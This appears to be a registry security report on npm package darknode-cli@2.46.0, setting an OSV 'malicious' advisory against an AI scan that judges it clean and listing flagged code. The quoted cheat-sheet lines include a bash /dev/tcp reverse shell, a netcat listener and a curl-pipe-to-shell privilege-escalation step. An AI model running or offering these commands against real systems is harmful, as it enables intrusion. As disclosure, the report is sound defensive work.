registry / Malware / darknode-cli / 2.46.0

darknode-cli@2.46.0

OpenSSF/OSV Malicious Advisory

imported 4h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18195 confirms this npm version as malicious.

Advisory

MAL-2026-18195

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in darknode-cli (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OpenSSF/OSV advisory ADVISORY

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

Source inspection found a disclosed, TTY-gated local-engine setup and guarded MCP configuration loading. The scanner’s reverse-shell and command-execution matches correspond to security-tool examples or ordinary CLI functionality; no concrete malicious behavior was established.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package in an interactive terminal can start the announced Nexus setup; MCP servers load only for a trusted repository.

Impact

No malicious impact was established; the setup can install local software and download models as advertised.

Mechanism

The setup installs Ollama and pulls local models. Inspected source does not show credential transfer, stealth persistence, or an untrusted project configuration being executed.

AI rationale

Evidence

scripts/postinstall.jsdarknode.jsdarknode-legacy.jslib/nexus/codex-local.jslib/toolkit/cheats.jslib/nexus/code-diff-explain.js

Independent scan evidence

public snapshot

AI called this Clean at 90.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

package.json maps both CLI commands and the main entrypoint to darknode.js, and defines a postinstall hook.
The postinstall hook skips CI, production, and non-TTY installs; in an interactive terminal it announces local Ollama setup and provides a skip option.
The hook invokes the advertised Nexus setup; the setup code installs Ollama and pulls local models.
Both entrypoint versions refuse to load project MCP servers unless the repository is trusted.
The Codex reader extracts model metadata and the auth mode; it does not return token values.
The reverse-shell strings are cheat-sheet data, and the diff helper reads Git diffs for explanation; no malicious execution or exfiltration was established.

Evidence against

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStrings

Source & flagged code

41 flagged

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

1068const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1069: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1070: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1076: // ---- provider flows ---- L1077: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t ... L1078: async function g

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

darknode-legacy.jsView on unpkg · L1068

1063patternName = google_api_key severity = high line = 1063

High

High Secret

Package contains a high-severity secret pattern.

darknode-legacy.jsView on unpkg · L1063

18const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Child Process

Package source references child process execution.

darknode-legacy.jsView on unpkg · L18

476console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n"); L477: const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" }); L478: p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });

High

Shell

Package source references shell execution.

darknode-legacy.jsView on unpkg · L476

4// Refuse to run in engagement mode (DARKNODE_ENGAGEMENT) — use darknode.js. L5: if (process.env.DARKNODE_ENGAGEMENT) { console.error("the legacy entry is ungated and cannot run in engagement mode; use darknode.js"); process.exit(1); } L6: // Back-compat: this legacy entry reads SENTINEL_* env vars directly. Let DARKNODE_* ... L14: */ L15: const net = require("net"); L16: const tls = require("tls"); ... L18: const https = require("https"); L19: const { execFile, spawn } = require("child_process"); L20: const crypto = require("crypto");

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

darknode-legacy.jsView on unpkg · L4

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

darknode-legacy.jsView on unpkg · L4

769const apply = !!(opts && opts.apply); L770: const cp = require("child_process"), fs = require("fs"), path = require("path"); L771: const dir = __dirname; L772: const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 60000 }); L773: if (!fs.existsSync(path.join(dir, ".git"))) return "installed at " + dir + "\nnot a git checkout — update with: npm install -g darknode-cli@latest\n(or re-pull from wherever you c... L774: if (!hasBin("git")) return "git not found — install git to self-update, or reinstall the CLI.";

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

darknode-legacy.jsView on unpkg · L769

1063patternName = google_api_key severity = high line = 1063

High

Secret Pattern

Google API key in darknode-legacy.js

darknode-legacy.jsView on unpkg · L1063

14*/ L15: const net = require("net"); L16: const tls = require("tls");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

darknode-legacy.jsView on unpkg · L14

lib/toolkit/cheats.jsView file

6"nmap": ["nmap -sV -sC -oN scan.txt TARGET", "nmap -p- --min-rate 5000 -T4 TARGET", "nmap --script vuln TARGET"], L7: "shells": ["bash -i >& /dev/tcp/IP/PORT 0>&1", "nc -lvnp 4444 # listener", "python3 -c 'import pty;pty.spawn(\"/bin/bash\")' # upgrade TTY"], L8: "privesc": ["find / -perm -4000 -type f 2>/dev/null # SUID", "sudo -l", "cat /etc/crontab", "curl -L .../linpeas.sh | sh"], L9: "transfer": ["python3 -m http.server 8000", "curl http://IP:8000/f -o f", "wget http://IP:8000/f"],

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

lib/toolkit/cheats.jsView on unpkg · L6

darknode.jsView file

1193Trigger-reachable chain: scripts.start -> darknode.js L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1201: // ---- provider flows ---- L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error &&

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

darknode.jsView on unpkg · L1193

1193Trigger-reachable command-output exfiltration chain: scripts.start -> darknode.js L1193: const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com"); L1194: const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "a... L1195: if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the ... ... L1201: // ---- provider flows ---- L1202: function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeo

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

darknode.jsView on unpkg · L1193

lib/nexus/code-diff-explain.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 2

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/nexus/code-diff-explain.js#virtual:normalized:round1View on unpkg

test/run.jsView file

212patternName = generic_password severity = medium line = 212

Medium

Secret Pattern

Hardcoded password in test/run.js

test/run.jsView on unpkg · L212

lib/nexus/git-security.jsView file

393patternName = generic_password severity = medium line = 393

Medium

Secret Pattern

Hardcoded password in lib/nexus/git-security.js

lib/nexus/git-security.jsView on unpkg · L393

lib/nexus/security-kb.jsView file

1330patternName = generic_password severity = medium line = 1330

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1330

1337patternName = generic_password severity = medium line = 1337

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1337

1343patternName = generic_password severity = medium line = 1343

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1343

1345patternName = generic_password severity = medium line = 1345

Medium

Secret Pattern

Hardcoded password in lib/nexus/security-kb.js

lib/nexus/security-kb.jsView on unpkg · L1345

Source & flagged code

41 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

darknode-legacy.jsView file

Findings

3 Critical10 High31 Medium6 Low

CriticalCommand Output Exfiltrationdarknode-legacy.js

CriticalReverse Shelllib/toolkit/cheats.js

CriticalTrigger Reachable Dangerous Capabilitydarknode.js

HighInstall Time Lifecycle Scriptspackage.json

HighHigh Secretdarknode-legacy.js

HighChild Processdarknode-legacy.js

HighShelldarknode-legacy.js

HighSame File Env Network Executiondarknode-legacy.js

HighSandbox Evasion Gated Capabilitydarknode-legacy.js

HighTrigger Reachable Command Output Exfiltrationdarknode.js

HighRuntime Package Installdarknode-legacy.js

HighSemantic Analysis Limited

Affected versions and remediation

This report applies to darknode-cli@2.46.0.

See all versions of darknode-cli for other recorded verdicts.

Avoid installing darknode-cli@2.46.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 21:40:08.369Z (UTC).

Source advisory published: 2026-10-22 20:23:01.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages